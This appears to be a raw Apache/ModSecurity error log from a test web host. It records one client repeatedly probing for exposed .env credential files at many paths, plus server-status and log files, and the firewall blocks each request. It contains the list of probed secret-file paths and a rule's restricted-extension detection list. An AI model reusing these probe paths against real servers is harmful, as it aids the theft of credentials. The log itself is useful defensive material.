[Thu Feb 26 01:03:16.507176 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /secrets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTAAAAAA&quot;]
[Thu Feb 26 01:03:16.507389 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTAAAAAA&quot;]
[Thu Feb 26 01:03:16.507543 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTAAAAAA&quot;]
[Thu Feb 26 01:03:16.525595 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHgAAAAE&quot;]
[Thu Feb 26 01:03:16.525812 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHgAAAAE&quot;]
[Thu Feb 26 01:03:16.525970 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHgAAAAE&quot;]
[Thu Feb 26 01:03:16.544138 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /selfish-darling-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTQAAAAA&quot;]
[Thu Feb 26 01:03:16.544353 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTQAAAAA&quot;]
[Thu Feb 26 01:03:16.544500 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTQAAAAA&quot;]
[Thu Feb 26 01:03:16.554412 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHwAAAAE&quot;]
[Thu Feb 26 01:03:16.554621 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHwAAAAE&quot;]
[Thu Feb 26 01:03:16.554763 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHwAAAAE&quot;]
[Thu Feb 26 01:03:16.604039 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve-browserbench/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTwAAAAA&quot;]
[Thu Feb 26 01:03:16.604280 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTwAAAAA&quot;]
[Thu Feb 26 01:03:16.604421 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizTwAAAAA&quot;]
[Thu Feb 26 01:03:16.618424 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/src/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiIQAAAAE&quot;]
[Thu Feb 26 01:03:16.618631 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiIQAAAAE&quot;]
[Thu Feb 26 01:03:16.618779 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiIQAAAAE&quot;]
[Thu Feb 26 01:03:16.648136 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve_time_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUAAAAAA&quot;]
[Thu Feb 26 01:03:16.648339 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUAAAAAA&quot;]
[Thu Feb 26 01:03:16.648476 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUAAAAAA&quot;]
[Thu Feb 26 01:03:16.663190 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server_with_db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiIgAAAAE&quot;]
[Thu Feb 26 01:03:16.663395 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiIgAAAAE&quot;]
[Thu Feb 26 01:03:16.663532 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiIgAAAAE&quot;]
[Thu Feb 26 01:03:16.722320 2026] [authz_core:error] [pid 2330788] [client 185.177.72.22:15538] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Thu Feb 26 01:03:16.746687 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUgAAAAA&quot;]
[Thu Feb 26 01:03:16.747272 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUgAAAAA&quot;]
[Thu Feb 26 01:03:16.747424 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUgAAAAA&quot;]
[Thu Feb 26 01:03:16.775084 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJQAAAAE&quot;]
[Thu Feb 26 01:03:16.775323 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJQAAAAE&quot;]
[Thu Feb 26 01:03:16.775480 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJQAAAAE&quot;]
[Thu Feb 26 01:03:16.779981 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUwAAAAA&quot;]
[Thu Feb 26 01:03:16.780203 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUwAAAAA&quot;]
